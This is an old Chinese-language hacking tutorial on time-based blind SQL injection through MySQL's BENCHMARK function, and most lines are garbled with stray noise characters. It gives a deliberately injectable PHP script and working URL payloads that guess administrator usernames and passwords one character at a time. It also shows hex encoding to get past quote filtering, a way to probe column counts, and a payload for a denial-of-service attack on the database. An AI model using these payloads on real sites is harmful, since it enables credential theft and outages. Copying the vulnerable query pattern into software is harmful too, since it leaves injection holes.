MYSQL中BENCHMARK函数的利用 ; l3 ~% m( |2 e3 [8 {3 q' E
本文作者:SuperHei9 L( w' _+ _3 Q) x: {' _
文章性质:原创
' }# y. j' {+ w. A: ]发布日期:2005-01-02
: P3 `, l8 n1 z2 p j- z0 S完成日期:2004-07-09 ! J* \1 \9 S# `, B5 ~7 R
第一部
/ c% ^1 T7 f7 H. U2 Y# @- j0 Y1 J9 K1 Q4 W4 \
利用时间推延进行注射---BENCHMARK函数在注射中的利用 5 x: P0 I6 r. x! V" n
( \8 x; ^- p N9 x一.前言/思路8 b9 S7 ]8 i' R
* z5 W( {& I# m( K. N
如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。
' f2 k5 @1 t( t) @* [# A5 t) {5 ~
本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。
8 y1 o) J$ y/ L" n+ Q+ X! ~; G$ _
( @! u% H2 U, l0 t' o二.关于BENCHMARK函数
2 w" G7 U. b$ B; C2 P6 Z+ J9 [; f% N$ e! K
在MySQL参考手册里可以看到如下描叙:
2 l2 k: I( N; p& s- I, s* L' Z! v8 k- E1 o
5 v# |& D' N3 Y: Z2 |- j; W" C+ U--------------------------------------------------------------------------------
/ z1 M6 P- ^/ d0 }# A0 X+ N I0 ~* M9 T# X! r9 p& `- B
BENCHMARK(count,expr) 6 J* p0 p" U5 I) [) W! {; r
BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。
9 B6 L% L q0 n* \$ [( Wmysql> select BENCHMARK(1000000,encode("hello","goodbye"));
3 R( t. |2 S: |2 S, l2 V! F+----------------------------------------------+ # G$ ]$ F! b( P, k& Q
| BENCHMARK(1000000,encode("hello","goodbye")) | " ~# r- z" x. |# s9 c
+----------------------------------------------+
7 B7 L; w+ \) j2 T+ }! O$ V| 0 |
$ q5 J3 C; F5 f) |+----------------------------------------------+ ! R- e# R5 V! ^2 O
1 row in set (4.74 sec)
1 Y" k- Y @0 ]9 A& H* i$ ^( U9 h. l! u
报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。$ |: z# ]7 H; v6 U# b( Y; i( X
( L' U) Y# p0 c& O6 W9 ]* [. b' J
; ~2 H2 p+ Z5 i( u9 y0 K8 K--------------------------------------------------------------------------------
& @7 w; J v+ J6 K# y
# }* R* s; a9 y3 G, R& g" u 只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果:
+ Z6 x2 V) N, R' M
; j0 l8 ?% l2 H( X: } T( z% _mysql> select md5( 'test' );
`. ~0 d0 Z/ t. ^# k, [+----------------------------------+ - r+ q$ \# e1 ?& ?- o5 t; o& B; o: I
| md5( 'test' ) | ! p, V& H _- H! H
+----------------------------------+ 4 J" m' }) q }/ [
| 098f6bcd4621d373cade4e832627b4f6 |
4 U9 Q0 ]/ g( U9 K( O+----------------------------------+ 7 C! |5 ], X0 z7 a
1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec
7 n. R( Y' k% ?$ _+ P( t8 b# G) L% q+ U8 [
mysql> select benchmark( 500000, md5( 'test' ) );
4 G) Y: N) A. q8 G, F; M/ S0 r! [+------------------------------------+ ! V! T" O6 t' P% q" A
| benchmark( 500000, md5( 'test' ) ) |
}9 A9 N$ k& ~( F2 r+ |+------------------------------------+ ) u/ P' |( h4 J8 Z
| 0 | ' W) ~; }# R% n
+------------------------------------+
: W& }! J2 D, @3 B8 y4 _ b0 ^7 r1 row in set (6.55 sec) 〈------------执行时间为6.55 sec. a1 Z3 D7 F ]1 y
; q% `8 t3 j8 ~7 A3 Q. W' B+ m- v& @& q1 Z. _
由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。
( W( v- n1 G; V7 Y! ]$ D2 X6 U( W0 j: B. W4 X
三.具体例子
' m0 N- w8 N5 K/ ]; |
! Z4 m8 {. [4 N% B 首先我们看个简单的php代码:, \, S @/ D; T. ]; d
0 R& P, B) Q' s, x$ J$ L A, e< ?php
7 Y# G1 d/ }+ k$servername = "localhost"; $ k0 H0 h7 t# T( v. J6 n+ S6 [
$dbusername = "root";
u, T8 J* g1 `& `* x. @4 U+ ^$dbpassword = "";
3 b7 _. _( S( O3 M$dbname = "injection";
7 ~# R2 L, Z2 N- i$ U, P
9 W# s# Q) N8 Q5 l) t. jmysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败"); : w5 \# T$ O! {$ \
. Y' ]0 w# P. Q6 L
$sql = "SELECT * FROM article WHERE articleid=$id";
2 a7 k9 R' c" ]$ |/ M$result = mysql_db_query($dbname,$sql); ! ?" b" I0 x1 U4 s0 s0 H7 E
$row = mysql_fetch_array($result);
1 w2 i& u" o6 g5 C' o) J$ K
% p& M, ~# J$ n" B* ^if (!$row) 7 y+ I2 s5 \0 E$ N2 ^' [
{ : u6 ]% k+ Y$ a
exit;
9 V7 Y! x, U/ ^8 v' T y}
) e: j0 U$ f$ R, l6 P?>
" z. W/ z3 S& y: Y& e3 }) ^7 K* j Z
, Q6 X1 j$ ^9 E+ @- E
% o) H2 x5 U9 X: v 数据库injection结构和内容如下:: y; h5 U/ k- Y
4 I, d4 W! o: L( b2 `. w, E( N# 数据库 : `injection`
7 v2 l6 W$ o- F8 k% A) D; H% h9 h8 F#
7 x: m! y ^- J, }6 N$ b7 @8 Q$ V9 f6 y( a+ L2 F/ B6 |1 _: O
# --------------------------------------------------------
( B+ D, s' q3 F/ D* e" ]! ]- T- s/ |5 ?, a
#
* E8 c/ h( `2 _ L8 q1 A- K* }# 表的结构 `article`
$ I2 A; f/ d# X; P#
7 O: Y6 C% v( C" U3 {9 Y- f" w6 _
: ^% y: M5 P* }# q* N6 gCREATE TABLE `article` ( ! D8 H8 i7 V# p$ Q: t! \
`articleid` int(11) NOT NULL auto_increment, 3 B0 ~1 h3 |0 D x
`title` varchar(100) NOT NULL default '',
, j/ j7 s- I7 l2 g% |`content` text NOT NULL, , C# E$ @" u- E5 e: \( D# z# P
PRIMARY KEY (`articleid`)
$ e* k3 X" ~# G0 x) Q/ V/ {) TYPE=MyISAM AUTO_INCREMENT=3 ;
' o1 ]8 `7 y4 W& k* ^
8 i. ]3 W- r8 x# Z& p; D#
! }% v6 O/ A/ m: r# 导出表中的数据 `article` 9 K( i5 b4 s$ u
#
; N; X/ U: K1 ^% K4 v* P! g6 q; Y% a7 `9 P
INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~'); ; A" }3 C q% {0 B- g
INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊');
. B( ]9 C8 D. F7 ~% G Q2 n$ h
2 `) ^. A y) O5 `; O" N G- a7 B; R4 h# --------------------------------------------------------
8 O- H- W& l4 s% N/ Z- {9 d3 B) Y" y5 Y! A3 |
#
( M) G, e0 \! j! F& R o4 ?# 表的结构 `user` ( I5 @! F# t0 D& P
#
1 n1 f+ t- {2 X, T6 f# n( b' [7 W. k/ ~' F7 L
CREATE TABLE `user` (
( Q1 S& t# b: ?, a i* S2 [`userid` int(11) NOT NULL auto_increment,
$ P- _- V& }& A`username` varchar(20) NOT NULL default '',
" m/ R) o. d) P# s6 a; u`password` varchar(20) NOT NULL default '',
3 U* N0 A- ~! n$ p% j5 _PRIMARY KEY (`userid`) $ }7 S1 R4 E/ B6 Y% v8 ?1 X7 }
) TYPE=MyISAM AUTO_INCREMENT=3 ; + d: \6 C4 n4 ^, t' F
/ o- a$ H, H4 M# z" W& ?
# l( l" w: G- ~
# 导出表中的数据 `user`
: {4 E, o! c2 O! D/ z& ]# . O- Z! [! A: `8 C2 _+ D3 C
& u; D G2 ^& _0 E* r. L
INSERT INTO `user` VALUES (1, 'angel', 'mypass'); 3 V! U7 s7 m. H2 ~( g( L
INSERT INTO `user` VALUES (2, '4ngel', 'mypass2');
* m% C( F+ b2 b
$ k+ c! F) e" [2 u' l$ F& @3 x9 m3 d1 ^
代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:+ s' W# O! W! N/ k. R9 @" O6 E
+ E* G0 Y( t8 n: b% s
id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*
6 h2 L5 P! n+ l# h" U6 T: s7 ^# V 7 A& ^$ f ?% Q8 W9 g- K: v( K
1 u, u" {' z* p% W' E 上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:
$ X6 {' S8 Z0 r# q" T1 `9 c* [
9 _& ~8 T8 z* G3 N! [http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*
: K5 D6 Z$ T9 w5 ?& I3 z6 M8 q5 l0 \; ?
" X& @& G7 i# b$ } `% ^- X; M$ D% T# j- J! _ R; ] u5 o6 k
执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。
6 h0 v+ K5 H! F8 ^3 q* \# I0 o7 i. w2 S4 }0 O
注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。
& |5 b5 n3 A! }! k: { |: Z0 C; a
第二部
' O5 a1 B3 F3 v# h1 V" ^4 \1 d9 K2 S* H* s
利用BENCHMARK函数进行ddos攻击 % M: C y( G2 H4 S/ M' G C- X
6 _9 [( A" E/ A9 | 其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:0 p% ~3 J; ]& a9 I3 s* }
7 A0 Z4 _4 q. v4 G: n' a4 ^( B
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))
$ ?0 x" y) P( A! u* S' h D2 {/ D - B9 t4 X0 a3 {# e
, m# N# Y6 J& ~
小结
* v1 k- n, N: I) \6 J0 @ Z) P4 \, c9 J( X# N# |3 j& R7 r
本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。7 m9 ?; I+ J. a# k! z% V
( u1 F% m, i9 {
4 @* Y. f; n" t1 @ |